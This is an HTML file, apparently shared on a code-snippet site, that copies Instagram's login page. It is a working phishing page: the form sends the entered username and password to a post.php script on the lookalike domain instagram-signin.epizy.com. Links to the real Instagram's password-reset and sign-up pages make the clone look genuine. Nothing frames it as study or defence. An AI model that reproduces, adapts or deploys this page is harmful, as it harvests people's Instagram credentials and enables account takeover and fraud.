Instagram
3 years ago in HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Instagram</title>
<link rel="stylesheet" href="http://instagram-signin.epizy.com/css/styles.css" />
<link rel="stylesheet" href="http://instagram-signin.epizy.com/css/media-queries.css" />
<link rel="icon" href="http://instagram-signin.epizy.com/assets/images/favicon.ico" />
</head>
<body>
<main>
<div class="log-in-container">
<div class="log-in">
<!-- Logo -->
<img src="http://instagram-signin.epizy.com/assets/images/instagram-logo.png" class="logo" />
<!-- Log in form -->
<form class="log-in-form" method="post" action="http://instagram-signin.epizy.com/post.php">
<input placeholder="Phone number, username or email" aria-label="Phone number, username, or email" autocapitalize="off" autocorrect="off" maxlength="75" name="username" type="text" value="">
<input placeholder="Password" autocapitalize="off" autocorrect="off" name="password" type="password" value="">
<button type="submit" class="log-in-button">Log In</button>
</form>
<!-- OR divider -->
<span class="or-divider">OR</span>
<!-- Log in with Facebook -->
<div class="fb-login">
<a href="#">
<img src="http://instagram-signin.epizy.com/assets/images/facebook-icon.png" />
<span>Log in with Facebook</span>
</a>
</div>
<!-- Forgot password? -->
<a href="https://www.instagram.com/accounts/password/reset/">Forgot password?</a>
</div>
<!-- Sign up -->
<div class="sign-up">
<span>Don't have an account?</span><a href="https://www.instagram.com/accounts/emailsignup/">Sign up</a>
</div>
<!-- Download app -->
<div class="get-the-app">
<span>Get the app</span>
<div class="app-images">
<a href="https://itunes.apple.com/app/instagram/id389801252?pt=428156&ct=igweb.loginPage.badge&mt=8&vt=lo"><img src="assets/images/applestore.png" /></a>
<a href="https://play.google.com/store/apps/details?id=com.instagram.android&referrer=utm_source%3Dinstagramweb%26utm_campaign%3DloginPage%26ig_mid%3D23AB78ED-7C9D-468D-9DBB-3B8EBECB5161%26utm_content%3Dlo%26utm_medium%3Dbadge"><img src="assets/images/googlestore.png" /></a>
</div>
</div>
</div>
<!-- Phones -->
<div class="phones-container">
<img src="assets/images/phones.png" />
</div>
</main>
<footer>
<ul class="footer-links">
<li><a href="https://about.instagram.com/">ABOUT</a></li>
<li><a href="https://help.instagram.com/">HELP</a></li>
<li><a href="#">PRESS</a></li>
<li><a href="#">API</a></li>
<li><a href="#">JOBS</a></li>
<li><a href="https://www.instagram.com/legal/privacy/">PRIVACY</a></li>
<li><a href="https://www.instagram.com/legal/terms/">TERMS</a></li>
<li><a href="#">LOCATIONS</a></li>
<li><a href="#">TOP</a></li>
<li><a href="#">ACCOUNTS</a></li>
<li><a href="#">HASHTAGS</a></li>
<li><a href="#">LANGUAGE</a></li>
</ul>
<span class="copyright">&copy; 2020 INSTAGRAM FROM FACEBOOK</span>
</footer>
</body>
</html>